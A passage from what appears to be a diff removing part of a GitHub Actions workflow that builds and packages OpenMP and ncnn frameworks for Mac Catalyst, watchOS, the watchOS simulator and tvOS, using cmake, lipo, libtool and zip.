}}.src - mkdir -p build-arm64 && cd build-arm64 - cmake ${{ env.OPENMP_CMAKE_OPTIONS }} -DPLATFORM=MAC_CATALYST_ARM64 -DARCHS="arm64" .. - cmake --build . -j 4 - cmake --build . --target install/strip - - name: merge-fat-library - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - rm -rf $GITHUB_WORKSPACE/openmp-install - mkdir -p $GITHUB_WORKSPACE/openmp-install - cp -a openmp-${{ env.OPENMP_VERSION }}.src/build-x86_64/install/include $GITHUB_WORKSPACE/openmp-install - mkdir -p $GITHUB_WORKSPACE/openmp-install/lib - lipo -create \ - openmp-${{ env.OPENMP_VERSION }}.src/build-x86_64/install/lib/libomp.a \ - openmp-${{ env.OPENMP_VERSION }}.src/build-arm64/install/lib/libomp.a \ - -o $GITHUB_WORKSPACE/openmp-install/lib/libomp.a - - name: upload - uses: actions/upload-artifact@v4 - with: - name: openmp-mac-catalyst - path: openmp-install - - mac-catalyst: - needs: [setup, openmp-mac-catalyst] - strategy: - matrix: - opt: - - { vulkan: OFF, id: mac-catalyst } - - { vulkan: ON, id: mac-catalyst-vulkan } - runs-on: macos-13 - env: - PACKAGENAME: ncnn-${{ needs.setup.outputs.VERSION }}-${{ matrix.opt.id }} - NCNN_CMAKE_OPTIONS: | - -DCMAKE_TOOLCHAIN_FILE=../toolchains/ios.toolchain.cmake \ - -DDEPLOYMENT_TARGET=$MAC_CATALYST_DEPLOYMENT_TARGET \ - -DENABLE_BITCODE=$ENABLE_BITCODE \ - -DENABLE_ARC=$ENABLE_ARC \ - -DENABLE_VISIBILITY=$ENABLE_VISIBILITY \ - -DCMAKE_INSTALL_PREFIX=install \ - -DCMAKE_BUILD_TYPE=Release \ - -DOpenMP_C_FLAGS="-Xclang -fopenmp" -DOpenMP_CXX_FLAGS="-Xclang -fopenmp" \ - -DOpenMP_C_LIB_NAMES="libomp" -DOpenMP_CXX_LIB_NAMES="libomp" \ - -DOpenMP_libomp_LIBRARY="libomp.a" \ - -DNCNN_VERSION_STRING="${{ needs.setup.outputs.VERSION }}" \ - -DNCNN_BUILD_BENCHMARK=OFF \ - -DNCNN_VULKAN=${{ matrix.opt.vulkan }} \ - - steps: - - uses: actions/checkout@v4 - with: - submodules: true - - name: download-openmp-mac-catalyst - uses: actions/download-artifact@v4 - with: - name: openmp-mac-catalyst - path: openmp-mac-catalyst - - name: install-openmp - run: | - sudo cp openmp-mac-catalyst/include/* $DEVELOPER_DIR/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include - sudo cp openmp-mac-catalyst/lib/libomp.a $DEVELOPER_DIR/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/lib - - name: build-x86_64 - run: | - mkdir build-x86_64 && cd build-x86_64 - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DPLATFORM=MAC_CATALYST -DARCHS="x86_64" .. - cmake --build . -j 4 - cmake --build . --target install/strip - - name: build-arm64 - run: | - mkdir build-arm64 && cd build-arm64 - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DPLATFORM=MAC_CATALYST -DARCHS="arm64" .. - cmake --build . -j 4 - cmake --build . --target install/strip - - name: package-openmp - run: | - rm -rf openmp.framework - mkdir -p openmp.framework/Versions/A/Headers - mkdir -p openmp.framework/Versions/A/Resources - ln -s A openmp.framework/Versions/Current - ln -s Versions/Current/Headers openmp.framework/Headers - ln -s Versions/Current/Resources openmp.framework/Resources - ln -s Versions/Current/openmp openmp.framework/openmp - cp openmp-mac-catalyst/lib/libomp.a openmp.framework/Versions/A/openmp - cp -a openmp-mac-catalyst/include/* openmp.framework/Versions/A/Headers/ - sed -e 's/__NAME__/openmp/g' -e 's/__IDENTIFIER__/org.llvm.openmp/g' -e 's/__VERSION__/18.1/g' Info.plist > openmp.framework/Versions/A/Resources/Info.plist - - name: package-glslang - if: matrix.opt.vulkan == 'ON' - run: | - rm -rf glslang.framework - mkdir -p glslang.framework/Versions/A/Headers - mkdir -p glslang.framework/Versions/A/Resources - ln -s A glslang.framework/Versions/Current - ln -s Versions/Current/Headers glslang.framework/Headers - ln -s Versions/Current/Resources glslang.framework/Resources - ln -s Versions/Current/glslang glslang.framework/glslang - libtool -static \ - build-x86_64/install/lib/libglslang.a \ - build-x86_64/install/lib/libMachineIndependent.a \ - build-x86_64/install/lib/libGenericCodeGen.a \ - build-x86_64/install/lib/libSPIRV.a \ - build-x86_64/install/lib/libOGLCompiler.a \ - build-x86_64/install/lib/libOSDependent.a \ - -o build-x86_64/install/lib/libglslang_combined.a - libtool -static \ - build-arm64/install/lib/libglslang.a \ - build-arm64/install/lib/libMachineIndependent.a \ - build-arm64/install/lib/libGenericCodeGen.a \ - build-arm64/install/lib/libSPIRV.a \ - build-arm64/install/lib/libOGLCompiler.a \ - build-arm64/install/lib/libOSDependent.a \ - -o build-arm64/install/lib/libglslang_combined.a - lipo -create \ - build-x86_64/install/lib/libglslang_combined.a \ - build-arm64/install/lib/libglslang_combined.a \ - -o glslang.framework/Versions/A/glslang - cp -a build-x86_64/install/include/glslang glslang.framework/Versions/A/Headers/ - sed -e 's/__NAME__/glslang/g' -e 's/__IDENTIFIER__/org.khronos.glslang/g' -e 's/__VERSION__/1.0/g' Info.plist > glslang.framework/Versions/A/Resources/Info.plist - - name: package-ncnn - run: | - rm -rf ncnn.framework - mkdir -p ncnn.framework/Versions/A/Headers - mkdir -p ncnn.framework/Versions/A/Resources - ln -s A ncnn.framework/Versions/Current - ln -s Versions/Current/Headers ncnn.framework/Headers - ln -s Versions/Current/Resources ncnn.framework/Resources - ln -s Versions/Current/ncnn ncnn.framework/ncnn - lipo -create \ - build-x86_64/install/lib/libncnn.a \ - build-arm64/install/lib/libncnn.a \ - -o ncnn.framework/Versions/A/ncnn - cp -a build-x86_64/install/include/* ncnn.framework/Versions/A/Headers/ - sed -e 's/__NAME__/ncnn/g' -e 's/__IDENTIFIER__/com.tencent.ncnn/g' -e 's/__VERSION__/1.0/g' Info.plist > ncnn.framework/Versions/A/Resources/Info.plist - - name: package - if: matrix.opt.vulkan == 'OFF' - run: | - rm -f ${{ env.PACKAGENAME }}.zip - zip -9 -y -r ${{ env.PACKAGENAME }}.zip openmp.framework ncnn.framework - - name: package - if: matrix.opt.vulkan == 'ON' - run: | - rm -f ${{ env.PACKAGENAME }}.zip - zip -9 -y -r ${{ env.PACKAGENAME }}.zip openmp.framework glslang.framework ncnn.framework - - name: upload-zip - uses: actions/upload-artifact@v4 - with: - name: ${{ env.PACKAGENAME }} - path: ${{ env.PACKAGENAME }}.zip - - openmp-watchos: - runs-on: macos-13 - env: - OPENMP_VERSION: '18.1.2' - OPENMP_CMAKE_OPTIONS: | - -DCMAKE_TOOLCHAIN_FILE=../../toolchains/ios.toolchain.cmake \ - -DDEPLOYMENT_TARGET=$WATCHOS_DEPLOYMENT_TARGET \ - -DENABLE_BITCODE=$ENABLE_BITCODE \ - -DENABLE_ARC=$ENABLE_ARC \ - -DENABLE_VISIBILITY=$ENABLE_VISIBILITY \ - -DCMAKE_INSTALL_PREFIX=install \ - -DCMAKE_BUILD_TYPE=Release \ - -DPERL_EXECUTABLE=/usr/local/bin/perl \ - -DLIBOMP_ENABLE_SHARED=OFF \ - -DLIBOMP_OMPT_SUPPORT=OFF \ - -DLIBOMP_USE_HWLOC=OFF \ - steps: - - name: cache-openmp - id: cache-openmp - uses: actions/cache@v4 - with: - path: openmp-install - key: openmp-watchos-release-18.1.2-20240403 - - name: checkout - if: steps.cache-openmp.outputs.cache-hit != 'true' - uses: actions/checkout@v4 - - name: openmp - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - wget https://github.com/llvm/llvm-project/releases/download/llvmorg-${{ env.OPENMP_VERSION }}/cmake-${{ env.OPENMP_VERSION }}.src.tar.xz - tar -xf cmake-${{ env.OPENMP_VERSION }}.src.tar.xz - wget https://github.com/llvm/llvm-project/releases/download/llvmorg-${{ env.OPENMP_VERSION }}/openmp-${{ env.OPENMP_VERSION }}.src.tar.xz - tar -xf openmp-${{ env.OPENMP_VERSION }}.src.tar.xz - mv cmake-${{ env.OPENMP_VERSION }}.src/Modules/* openmp-${{ env.OPENMP_VERSION }}.src/cmake/ - cd openmp-${{ env.OPENMP_VERSION }}.src - wget https://github.com/nihui/llvm-project/commit/ef8c35bcf5d9cfdb0764ffde6a63c04ec715bc37.patch - patch -p2 -i ef8c35bcf5d9cfdb0764ffde6a63c04ec715bc37.patch - wget https://github.com/nihui/llvm-project/commit/5c12711f9a21f41bea70566bf15a4026804d6b20.patch - patch -p2 -i 5c12711f9a21f41bea70566bf15a4026804d6b20.patch - - name: build-armv7k - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - cd openmp-${{ env.OPENMP_VERSION }}.src - mkdir -p build-armv7k && cd build-armv7k - cmake ${{ env.OPENMP_CMAKE_OPTIONS }} -DPLATFORM=WATCHOS -DARCHS="armv7k" .. - cmake --build . -j 4 - cmake --build . --target install/strip - - name: build-arm64_32 - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - cd openmp-${{ env.OPENMP_VERSION }}.src - mkdir -p build-arm64_32 && cd build-arm64_32 - cmake ${{ env.OPENMP_CMAKE_OPTIONS }} -DPLATFORM=WATCHOS -DARCHS="arm64_32" .. - cmake --build . -j 4 - cmake --build . --target install/strip - - name: merge-fat-library - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - rm -rf $GITHUB_WORKSPACE/openmp-install - mkdir -p $GITHUB_WORKSPACE/openmp-install - cp -a openmp-${{ env.OPENMP_VERSION }}.src/build-arm64_32/install/include $GITHUB_WORKSPACE/openmp-install - mkdir -p $GITHUB_WORKSPACE/openmp-install/lib - lipo -create \ - openmp-${{ env.OPENMP_VERSION }}.src/build-armv7k/install/lib/libomp.a \ - openmp-${{ env.OPENMP_VERSION }}.src/build-arm64_32/install/lib/libomp.a \ - -o $GITHUB_WORKSPACE/openmp-install/lib/libomp.a - - name: upload - uses: actions/upload-artifact@v4 - with: - name: openmp-watchos - path: openmp-install - - watchos: - needs: [setup, openmp-watchos] - runs-on: macos-13 - env: - PACKAGENAME: ncnn-${{ needs.setup.outputs.VERSION }}-watchos - NCNN_CMAKE_OPTIONS: | - -DCMAKE_TOOLCHAIN_FILE=../toolchains/ios.toolchain.cmake \ - -DDEPLOYMENT_TARGET=$WATCHOS_DEPLOYMENT_TARGET \ - -DENABLE_BITCODE=$ENABLE_BITCODE \ - -DENABLE_ARC=$ENABLE_ARC \ - -DENABLE_VISIBILITY=$ENABLE_VISIBILITY \ - -DCMAKE_INSTALL_PREFIX=install \ - -DCMAKE_BUILD_TYPE=Release \ - -DOpenMP_C_FLAGS="-Xclang -fopenmp" -DOpenMP_CXX_FLAGS="-Xclang -fopenmp" \ - -DOpenMP_C_LIB_NAMES="libomp" -DOpenMP_CXX_LIB_NAMES="libomp" \ - -DOpenMP_libomp_LIBRARY="libomp.a" \ - -DNCNN_VERSION_STRING="${{ needs.setup.outputs.VERSION }}" \ - -DNCNN_BUILD_BENCHMARK=OFF \ - - steps: - - uses: actions/checkout@v4 - - name: download-openmp-watchos - uses: actions/download-artifact@v4 - with: - name: openmp-watchos - path: openmp-watchos - - name: install-openmp - run: | - sudo cp openmp-watchos/include/* $DEVELOPER_DIR/Platforms/WatchOS.platform/Developer/SDKs/WatchOS.sdk/usr/include - sudo cp openmp-watchos/lib/libomp.a $DEVELOPER_DIR/Platforms/WatchOS.platform/Developer/SDKs/WatchOS.sdk/usr/lib - - name: build-armv7k - run: | - mkdir build-armv7k && cd build-armv7k - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DPLATFORM=WATCHOS -DARCHS="armv7k" .. - cmake --build . -j 4 - cmake --build . --target install/strip - - name: build-arm64_32 - run: | - mkdir build-arm64_32 && cd build-arm64_32 - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DPLATFORM=WATCHOS -DARCHS="arm64_32" .. - cmake --build . -j 4 - cmake --build . --target install/strip - - name: package-openmp - run: | - rm -rf openmp.framework - mkdir -p openmp.framework/Versions/A/Headers - mkdir -p openmp.framework/Versions/A/Resources - ln -s A openmp.framework/Versions/Current - ln -s Versions/Current/Headers openmp.framework/Headers - ln -s Versions/Current/Resources openmp.framework/Resources - ln -s Versions/Current/openmp openmp.framework/openmp - cp openmp-watchos/lib/libomp.a openmp.framework/Versions/A/openmp - cp -a openmp-watchos/include/* openmp.framework/Versions/A/Headers/ - sed -e 's/__NAME__/openmp/g' -e 's/__IDENTIFIER__/org.llvm.openmp/g' -e 's/__VERSION__/18.1/g' Info.plist > openmp.framework/Versions/A/Resources/Info.plist - - name: package - run: | - rm -rf ncnn.framework - mkdir -p ncnn.framework/Versions/A/Headers - mkdir -p ncnn.framework/Versions/A/Resources - ln -s A ncnn.framework/Versions/Current - ln -s Versions/Current/Headers ncnn.framework/Headers - ln -s Versions/Current/Resources ncnn.framework/Resources - ln -s Versions/Current/ncnn ncnn.framework/ncnn - lipo -create \ - build-armv7k/install/lib/libncnn.a \ - build-arm64_32/install/lib/libncnn.a \ - -o ncnn.framework/Versions/A/ncnn - cp -a build-arm64_32/install/include/* ncnn.framework/Versions/A/Headers/ - sed -e 's/__NAME__/ncnn/g' -e 's/__IDENTIFIER__/com.tencent.ncnn/g' -e 's/__VERSION__/1.0/g' Info.plist > ncnn.framework/Versions/A/Resources/Info.plist - rm -f ${{ env.PACKAGENAME }}.zip - zip -9 -y -r ${{ env.PACKAGENAME }}.zip openmp.framework ncnn.framework - - name: upload-zip - uses: actions/upload-artifact@v4 - with: - name: ${{ env.PACKAGENAME }} - path: ${{ env.PACKAGENAME }}.zip - - openmp-watchos-simulator: - runs-on: macos-13 - env: - OPENMP_VERSION: '18.1.2' - OPENMP_CMAKE_OPTIONS: | - -DCMAKE_TOOLCHAIN_FILE=../../toolchains/ios.toolchain.cmake \ - -DDEPLOYMENT_TARGET=$WATCHOS_DEPLOYMENT_TARGET \ - -DENABLE_BITCODE=$ENABLE_BITCODE \ - -DENABLE_ARC=$ENABLE_ARC \ - -DENABLE_VISIBILITY=$ENABLE_VISIBILITY \ - -DCMAKE_INSTALL_PREFIX=install \ - -DCMAKE_BUILD_TYPE=Release \ - -DPERL_EXECUTABLE=/usr/local/bin/perl \ - -DLIBOMP_ENABLE_SHARED=OFF \ - -DLIBOMP_OMPT_SUPPORT=OFF \ - -DLIBOMP_USE_HWLOC=OFF \ - steps: - - name: cache-openmp - id: cache-openmp - uses: actions/cache@v4 - with: - path: openmp-install - key: openmp-watchos-simulator-release-18.1.2-20240403 - - name: checkout - if: steps.cache-openmp.outputs.cache-hit != 'true' - uses: actions/checkout@v4 - - name: openmp - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - wget https://github.com/llvm/llvm-project/releases/download/llvmorg-${{ env.OPENMP_VERSION }}/cmake-${{ env.OPENMP_VERSION }}.src.tar.xz - tar -xf cmake-${{ env.OPENMP_VERSION }}.src.tar.xz - wget https://github.com/llvm/llvm-project/releases/download/llvmorg-${{ env.OPENMP_VERSION }}/openmp-${{ env.OPENMP_VERSION }}.src.tar.xz - tar -xf openmp-${{ env.OPENMP_VERSION }}.src.tar.xz - mv cmake-${{ env.OPENMP_VERSION }}.src/Modules/* openmp-${{ env.OPENMP_VERSION }}.src/cmake/ - cd openmp-${{ env.OPENMP_VERSION }}.src - wget https://github.com/nihui/llvm-project/commit/ef8c35bcf5d9cfdb0764ffde6a63c04ec715bc37.patch - patch -p2 -i ef8c35bcf5d9cfdb0764ffde6a63c04ec715bc37.patch - wget https://github.com/nihui/llvm-project/commit/5c12711f9a21f41bea70566bf15a4026804d6b20.patch - patch -p2 -i 5c12711f9a21f41bea70566bf15a4026804d6b20.patch - - name: build-x86_64 - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - cd openmp-${{ env.OPENMP_VERSION }}.src - mkdir -p build-x86_64 && cd build-x86_64 - cmake ${{ env.OPENMP_CMAKE_OPTIONS }} -DPLATFORM=SIMULATOR_WATCHOS -DARCHS="x86_64" .. - cmake --build . -j 4 - cmake --build . --target install/strip - - name: build-arm64 - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - cd openmp-${{ env.OPENMP_VERSION }}.src - mkdir -p build-arm64 && cd build-arm64 - cmake ${{ env.OPENMP_CMAKE_OPTIONS }} -DPLATFORM=SIMULATOR_WATCHOS -DARCHS="arm64" .. - cmake --build . -j 4 - cmake --build . --target install/strip - - name: merge-fat-library - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - rm -rf $GITHUB_WORKSPACE/openmp-install - mkdir -p $GITHUB_WORKSPACE/openmp-install - cp -a openmp-${{ env.OPENMP_VERSION }}.src/build-x86_64/install/include $GITHUB_WORKSPACE/openmp-install - mkdir -p $GITHUB_WORKSPACE/openmp-install/lib - lipo -create \ - openmp-${{ env.OPENMP_VERSION }}.src/build-x86_64/install/lib/libomp.a \ - openmp-${{ env.OPENMP_VERSION }}.src/build-arm64/install/lib/libomp.a \ - -o $GITHUB_WORKSPACE/openmp-install/lib/libomp.a - - name: upload - uses: actions/upload-artifact@v4 - with: - name: openmp-watchos-simulator - path: openmp-install - - watchos-simulator: - needs: [setup, openmp-watchos-simulator] - runs-on: macos-13 - env: - PACKAGENAME: ncnn-${{ needs.setup.outputs.VERSION }}-watchos-simulator - NCNN_CMAKE_OPTIONS: | - -DCMAKE_TOOLCHAIN_FILE=../toolchains/ios.toolchain.cmake \ - -DDEPLOYMENT_TARGET=$WATCHOS_DEPLOYMENT_TARGET \ - -DENABLE_BITCODE=$ENABLE_BITCODE \ - -DENABLE_ARC=$ENABLE_ARC \ - -DENABLE_VISIBILITY=$ENABLE_VISIBILITY \ - -DCMAKE_INSTALL_PREFIX=install \ - -DCMAKE_BUILD_TYPE=Release \ - -DOpenMP_C_FLAGS="-Xclang -fopenmp" -DOpenMP_CXX_FLAGS="-Xclang -fopenmp" \ - -DOpenMP_C_LIB_NAMES="libomp" -DOpenMP_CXX_LIB_NAMES="libomp" \ - -DOpenMP_libomp_LIBRARY="libomp.a" \ - -DNCNN_VERSION_STRING="${{ needs.setup.outputs.VERSION }}" \ - -DNCNN_BUILD_BENCHMARK=OFF \ - - steps: - - uses: actions/checkout@v4 - - name: download-openmp-watchos-simulator - uses: actions/download-artifact@v4 - with: - name: openmp-watchos-simulator - path: openmp-watchos-simulator - - name: install-openmp - run: | - sudo cp openmp-watchos-simulator/include/* $DEVELOPER_DIR/Platforms/WatchSimulator.platform/Developer/SDKs/WatchSimulator.sdk/usr/include - sudo cp openmp-watchos-simulator/lib/libomp.a $DEVELOPER_DIR/Platforms/WatchSimulator.platform/Developer/SDKs/WatchSimulator.sdk/usr/lib - - name: build-x86_64 - run: | - mkdir build-x86_64 && cd build-x86_64 - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DPLATFORM=SIMULATOR_WATCHOS -DARCHS="x86_64" .. - cmake --build . -j 4 - cmake --build . --target install/strip - - name: build-arm64 - run: | - mkdir build-arm64 && cd build-arm64 - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DPLATFORM=SIMULATOR_WATCHOS -DARCHS="arm64" .. - cmake --build . -j 4 - cmake --build . --target install/strip - - name: package-openmp - run: | - rm -rf openmp.framework - mkdir -p openmp.framework/Versions/A/Headers - mkdir -p openmp.framework/Versions/A/Resources - ln -s A openmp.framework/Versions/Current - ln -s Versions/Current/Headers openmp.framework/Headers - ln -s Versions/Current/Resources openmp.framework/Resources - ln -s Versions/Current/openmp openmp.framework/openmp - cp openmp-watchos-simulator/lib/libomp.a openmp.framework/Versions/A/openmp - cp -a openmp-watchos-simulator/include/* openmp.framework/Versions/A/Headers/ - sed -e 's/__NAME__/openmp/g' -e 's/__IDENTIFIER__/org.llvm.openmp/g' -e 's/__VERSION__/18.1/g' Info.plist > openmp.framework/Versions/A/Resources/Info.plist - - name: package - run: | - rm -rf ncnn.framework - mkdir -p ncnn.framework/Versions/A/Headers - mkdir -p ncnn.framework/Versions/A/Resources - ln -s A ncnn.framework/Versions/Current - ln -s Versions/Current/Headers ncnn.framework/Headers - ln -s Versions/Current/Resources ncnn.framework/Resources - ln -s Versions/Current/ncnn ncnn.framework/ncnn - lipo -create \ - build-x86_64/install/lib/libncnn.a \ - build-arm64/install/lib/libncnn.a \ - -o ncnn.framework/Versions/A/ncnn - cp -a build-x86_64/install/include/* ncnn.framework/Versions/A/Headers/ - sed -e 's/__NAME__/ncnn/g' -e 's/__IDENTIFIER__/com.tencent.ncnn/g' -e 's/__VERSION__/1.0/g' Info.plist > ncnn.framework/Versions/A/Resources/Info.plist - rm -f ${{ env.PACKAGENAME }}.zip - zip -9 -y -r ${{ env.PACKAGENAME }}.zip openmp.framework ncnn.framework - - name: upload-zip - uses: actions/upload-artifact@v4 - with: - name: ${{ env.PACKAGENAME }} - path: ${{ env.PACKAGENAME }}.zip - - openmp-tvos: - runs-on: macos-13 - env: - OPENMP_VERSION: '18.1.2' - OPENMP_CMAKE_OPTIONS: | - -DCMAKE_TOOLCHAIN_FILE=../../toolchains/ios.toolchain.cmake \ - -DDEPLOYMENT_TARGET=$TVOS_DEPLOYMENT_TARGET \ - -DENABLE_BITCODE=$ENABLE_BITCODE \ - -DENABLE_ARC=$ENABLE_ARC \ - -DENABLE_VISIBILITY=$ENABLE_VISIBILITY \ - -DCMAKE_INSTALL_PREFIX=install \ - -DCMAKE_BUILD_TYPE=Release \ - -DPERL_EXECUTABLE=/usr/local/bin/perl \ - -DLIBOMP_ENABLE_SHARED=OFF \ - -DLIBOMP_OMPT_SUPPORT=OFF \ - -DLIBOMP_USE_HWLOC=OFF \ - steps: - - name: cache-openmp - id: cache-openmp - uses: actions/cache@v4 - with: - path: openmp-install - key: openmp-tvos-release-18.1.2-20240403 - - name: checkout - if: steps.cache-openmp.outputs.cache-hit != 'true' - uses: actions/checkout@v4 - - name: openmp - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - wget https://github.com/llvm/llvm-project/releases/download/llvmorg-${{ env.OPENMP_VERSION }}/cmake-${{ env.OPENMP_VERSION }}.src.tar.xz - tar -xf cmake-${{ env.OPENMP_VERSION }}.src.tar.xz - wget https://github.com/llvm/llvm-project/releases/download/llvmorg-${{ env.OPENMP_VERSION }}/openmp-${{ env.OPENMP_VERSION }}.src.tar.xz - tar -xf openmp-${{ env.OPENMP_VERSION }}.src.tar.xz - mv cmake-${{ env.OPENMP_VERSION }}.src/Modules/* openmp-${{ env.OPENMP_VERSION }}.src/cmake/ - cd openmp-${{ env.OPENMP_VERSION }}.src - wget https://github.com/nihui/llvm-project/commit/ef8c35bcf5d9cfdb0764ffde6a63c04ec715bc37.patch - patch -p2 -i ef8c35bcf5d9cfdb0764ffde6a63c04ec715bc37.patch - wget https://github.com/nihui/llvm-project/commit/5c12711f9a21f41bea70566bf15a4026804d6b20.patch - patch -p2 -i 5c12711f9a21f41bea70566bf15a4026804d6b20.patch - - name: build-arm64 - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - cd openmp-${{ env.OPENMP_VERSION }}.src - mkdir -p build-arm64 && cd build-arm64 - cmake ${{ env.OPENMP_CMAKE_OPTIONS }} -DPLATFORM=TVOS -DARCHS="arm64" .. - cmake --build . -j 4 - cmake --build . --target install/strip - - name: build-arm64e - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - cd openmp-${{ env.OPENMP_VERSION }}.src - mkdir -p build-arm64e && cd build-arm64e - cmake ${{ env.OPENMP_CMAKE_OPTIONS }} -DPLATFORM=TVOS -DARCHS="arm64e" .. - cmake --build . -j 4 - cmake --build . --target install/strip - - name: merge-fat-library - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - rm -rf $GITHUB_WORKSPACE/openmp-install - mkdir -p $GITHUB_WORKSPACE/openmp-install - cp -a openmp-${{ env.OPENMP_VERSION }}.src/build-arm64/install/include $GITHUB_WORKSPACE/openmp-install - mkdir -p $GITHUB_WORKSPACE/openmp-install/lib - lipo -create \ - openmp-${{ env.OPENMP_VERSION }}.src/build-arm64/install/lib/libomp.a \ - openmp-${{ env.OPENMP_VERSION }}.src/build-arm64e/install/lib/libomp.a \ - -o $GITHUB_WORKSPACE/openmp-install/lib/libomp.a - - name: upload - uses: actions/upload-artifact@v4 - with: - name: openmp-tvos - path: openmp-install - - tvos: - needs: [setup, openmp-tvos] - strategy: - matrix: - opt: - - { vulkan: OFF, id: tvos } - - { vulkan: ON, id: tvos-vulkan } - runs-on: macos-13 - env: - PACKAGENAME: ncnn-${{ needs.setup.outputs.VERSION }}-${{ matrix.opt.id }} - NCNN_CMAKE_OPTIONS: | - -DCMAKE_TOOLCHAIN_FILE=../toolchains/ios.toolchain.cmake \ - -DDEPLOYMENT_TARGET=$TVOS_DEPLOYMENT_TARGET \ - -DENABLE_BITCODE=$ENABLE_BITCODE \ - -DENABLE_ARC=$ENABLE_ARC \ - -DENABLE_VISIBILITY=$ENABLE_VISIBILITY \ - -DCMAKE_INSTALL_PREFIX=install \ - -DCMAKE_BUILD_TYPE=Release \ - -DOpenMP_C_FLAGS="-Xclang -fopenmp" -DOpenMP_CXX_FLAGS="-Xclang -fopenmp" \ - -DOpenMP_C_LIB_NAMES="libomp" -DOpenMP_CXX_LIB_NAMES="libomp" \ - -DOpenMP_libomp_LIBRARY="libomp.a" \ - -DNCNN_VERSION_STRING="${{ needs.setup.outputs.VERSION }}" \ - -DNCNN_BUILD_BENCHMARK=OFF \ - -DNCNN_VULKAN=${{ matrix.opt.vulkan }} \ - - steps: - - uses: actions/checkout@v4 - with: - submodules: true - - name: download-openmp-tvos - uses: actions/download-artifact@v4 - with: - name: openmp-tvos - path: openmp-tvos - - name: install-openmp - run: | - sudo cp openmp-tvos/include/* $DEVELOPER_DIR/Platforms/AppleTVOS.platform/Developer/SDKs/AppleTVOS.sdk/usr/include - sudo cp openmp-tvos/lib/libomp.a $DEVELOPER_DIR/Platforms/AppleTVOS.platform/Developer/SDKs/AppleTVOS.sdk/usr/lib - - name: build-arm64 - run: | - mkdir build-arm64 && cd build-arm64 - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DPLATFORM=TVOS -DARCHS="arm64" .. - cmake --build . -j 4 - cmake --build . --target install/strip - - name: build-arm64e - run: | - mkdir build-arm64e && cd build-arm64e - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DPLATFORM=TVOS -DARCHS="arm64e" .. - cmake --build . -j 4 - cmake --build . --target install/strip - - name: package-openmp - run: | - rm -rf openmp.framework - mkdir -p openmp.framework/Versions/A/Headers - mkdir -p openmp.framework/Versions/A/Resources - ln -s A openmp.framework/Versions/Current - ln -s Versions/Current/Headers openmp.framework/Headers - ln -s Versions/Current/Resources openmp.framework/Resources - ln -s Versions/Current/openmp openmp.framework/openmp - cp openmp-tvos/lib/libomp.a openmp.framework/Versions/A/openmp - cp -a openmp-tvos/include/* openmp.framework/Versions/A/Headers/ - sed -e 's/__NAME__/openmp/g' -e 's/__IDENTIFIER__/org.llvm.openmp/g' -e 's/__VERSION__/18.1/g' Info.plist > openmp.framework/Versions/A/Resources/Info.plist - - name: package-glslang - if: matrix.opt.vulkan == 'ON' - run: | - rm -rf glslang.framework - mkdir -p glslang.framework/Versions/A/Headers - mkdir -p glslang.framework/Versions/A/Resources - ln -s A glslang.framework/Versions/Current - ln -s Versions/Current/Headers glslang.framework/Headers - ln -s Versions/Current/Resources glslang.framework/Resources - ln -s Versions/Current/glslang glslang.framework/glslang - libtool -static \ - build-arm64/install/lib/libglslang.a \ - build-arm64/install/lib/libMachineIndependent.a \ - build-arm64/install/lib/libGenericCodeGen.a \ - build-arm64/install/lib/libSPIRV.a \ - build-arm64/install/lib/libOGLCompiler.a \ - build-arm64/install/lib/libOSDependent.a \ - -o build-arm64/install/lib/libglslang_combined.a - libtool -static \ - build-arm64e/install/lib/libglslang.a \ - build-arm64e/install/lib/libMachineIndependent.a \ - build-arm64e/install/lib/libGenericCodeGen.a \ - build-arm64e/install/lib/libSPIRV.a \ - build-arm64e/install/lib/libOGLCompiler.a \ - build-arm64e/install/lib/libOSDependent.a \ - -o build-arm64e/install/lib/libglslang_combined.a - lipo -create \ - build-arm64/install/lib/libglslang_combined.a \ - build-arm64e/install/lib/libglslang_combined.a \ - -o glslang.framework/Versions/A/glslang - cp -a build-arm64/install/include/glslang glslang.framework/Versions/A/Headers/ - sed -e 's/__NAME__/glslang/g' -e 's/__IDENTIFIER__/org.khronos.glslang/g' -e 's/__VERSION__/1.0/g' Info.plist > glslang.framework/Versions/A/Resources/Info.plist - - name: package-ncnn - run: | - rm -rf ncnn.framework - mkdir -p ncnn.framework/Versions/A/Headers - mkdir -p ncnn.framework/Versions/A/Resources - ln -s A ncnn.framework/Versions/Current - ln -s Versions/Current/Headers ncnn.framework/Headers - ln -s Versions/Current/Resources ncnn.framework/Resources - ln -s Versions/Current/ncnn ncnn.framework/ncnn - lipo -create \ - build-arm64/install/lib/libncnn.a \ - build-arm64e/install/lib/libncnn.a \ - -o ncnn.framework/Versions/A/ncnn - cp -a build-arm64/install/include/* ncnn.framework/Versions/A/Headers/ - sed -e 's/__NAME__/ncnn/g' -e 's/__IDENTIFIER__/com.tencent.ncnn/g' -e 's/__VERSION__/1.0/g' Info.plist > ncnn.framework/Versions/A/Resources/Info.plist - - name: package - if: matrix.opt.vulkan == 'OFF' - run: | - rm -f ${{ env.PACKAGENAME }}.zip - zip -9 -y -r ${{ env.PACKAGENAME }}.zip openmp.framework ncnn.framework - - name: package - if: matrix.opt.vulkan == 'ON' - run: | - rm -f ${{ env.PACKAGENAME }}.zip - zip -9 -y -r ${{ env.PACKAGENAME }}.zip openmp.framework glslang.framework ncnn.framework - - name: upload-zip - uses: 